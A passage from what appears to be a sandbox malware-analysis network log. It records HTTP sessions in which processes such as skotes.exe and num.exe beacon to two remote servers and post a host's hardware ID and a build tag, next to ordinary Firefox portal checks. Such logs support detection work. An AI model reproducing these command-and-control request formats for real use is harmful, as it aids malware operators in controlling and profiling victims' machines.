15	192.168.2.5	60567	34.107.221.82	80	7456	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:49:40.170634985 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 23, 2024 15:49:40.774388075 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 22 Oct 2024 16:07:54 GMT Age: 78106 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	60569	185.215.113.43	80	7720	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:49:40.441174984 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 23, 2024 15:49:41.358680964 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 13:49:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	60574	34.107.221.82	80	7456	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:49:41.550044060 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 15:49:42.159147978 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 77843 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 15:49:42.990947008 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 15:49:43.115096092 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 77844 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 15:49:48.459059954 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 15:49:48.583446026 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 77849 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 15:49:58.584947109 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	60576	34.107.221.82	80	7456	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:49:42.808892965 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	60577	185.215.113.43	80	7720	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:49:42.883264065 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 38 37 35 42 30 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2875B05F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 23, 2024 15:49:43.810472965 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 13:49:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	60579	34.107.221.82	80	7456	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:49:43.360651016 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 23, 2024 15:49:43.957935095 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 22 Oct 2024 16:07:54 GMT Age: 78109 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 23, 2024 15:49:53.975897074 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 23, 2024 15:50:03.991214037 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	60581	185.215.113.43	80	7720	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:49:45.429686069 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 23, 2024 15:49:46.355175018 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 13:49:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	60582	185.215.113.43	80	7720	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:49:47.910286903 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 38 37 35 42 30 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2875B05F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 23, 2024 15:49:48.835470915 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 13:49:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	60583	185.215.113.37	80	344	C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:49:49.052522898 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 23, 2024 15:49:49.969080925 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:49:49 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 23, 2024 15:49:49.972011089 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECGCBGDBKJJKEBFBFH Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 33 39 41 35 35 45 41 33 39 42 44 33 31 32 30 36 34 31 37 38 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 2d 2d 0d 0a Data Ascii: ------JJECGCBGDBKJJKEBFBFHContent-Disposition: form-data; name="hwid"739A55EA39BD3120641781------JJECGCBGDBKJJKEBFBFHContent-Disposition: form-data; name="build"doma------JJECGCBGDBKJJKEBFBFH--
Oct 23, 2024 15:49:50.257565022 CEST	210	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:49:50 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	60584	185.215.113.43	80	7720	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:49:50.467220068 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 23, 2024 15:49:51.383882046 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 13:49:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	60585	185.215.113.43	80	7720	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:49:52.906248093 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 38 37 35 42 30 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2875B05F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 23, 2024 15:49:53.812803030 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 13:49:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	60586	185.215.113.43	80	7720	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:49:55.453238964 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 23, 2024 15:49:56.365353107 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 13:49:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	60587	185.215.113.43	80	7720	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:49:57.873048067 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 38 37 35 42 30 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2875B05F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 23, 2024 15:49:58.803560972 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 13:49:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	60588	185.215.113.37	80	7404	C:\Users\user\AppData\Local\Temp\1000979001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:50:00.129687071 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 23, 2024 15:50:00.806505919 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:50:00 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 23, 2024 15:50:00.809294939 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJJJEBFHDBGIECBFCBKJ Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 33 39 41 35 35 45 41 33 39 42 44 33 31 32 30 36 34 31 37 38 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 2d 2d 0d 0a Data Ascii: ------IJJJEBFHDBGIECBFCBKJContent-Disposition: form-data; name="hwid"739A55EA39BD3120641781------IJJJEBFHDBGIECBFCBKJContent-Disposition: form-data; name="build"doma------IJJJEBFHDBGIECBFCBKJ--
Oct 23, 2024 15:50:01.100044966 CEST	210	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:50:00 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	60589	185.215.113.43	80	7720	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:50:00.435462952 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 23, 2024 15:50:01.354624033 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 13:50:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	60590	185.215.113.43	80	7720	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:50:02.944875956 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 38 37 35 42 30 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2875B05F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 23, 2024 15:50:03.846836090 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 13:50:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	60591	185.215.113.43	80	7720	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:50:05.597445011 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 23, 2024 15:50:06.526851892 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 13:50:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	60592	185.215.113.43	80	7720	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:50:08.067459106 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 38 37 35 42 30 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2875B05F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 23, 2024 15:50:08.973663092 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 13:50:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	60597	185.215.113.43	80	7720	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:50:10.610002995 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 23, 2024 15:50:11.507364035 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 13:50:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	60598	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:50:13.569729090 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 23, 2024 15:50:14.507354021 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:50:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 23, 2024 15:50:14.510387897 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFCBAKKFBFIECAEBAE Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 33 39 41 35 35 45 41 33 39 42 44 33 31 32 30 36 34 31 37 38 31 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 2d 2d 0d 0a Data Ascii: ------CGCFCBAKKFBFIECAEBAEContent-Disposition: form-data; 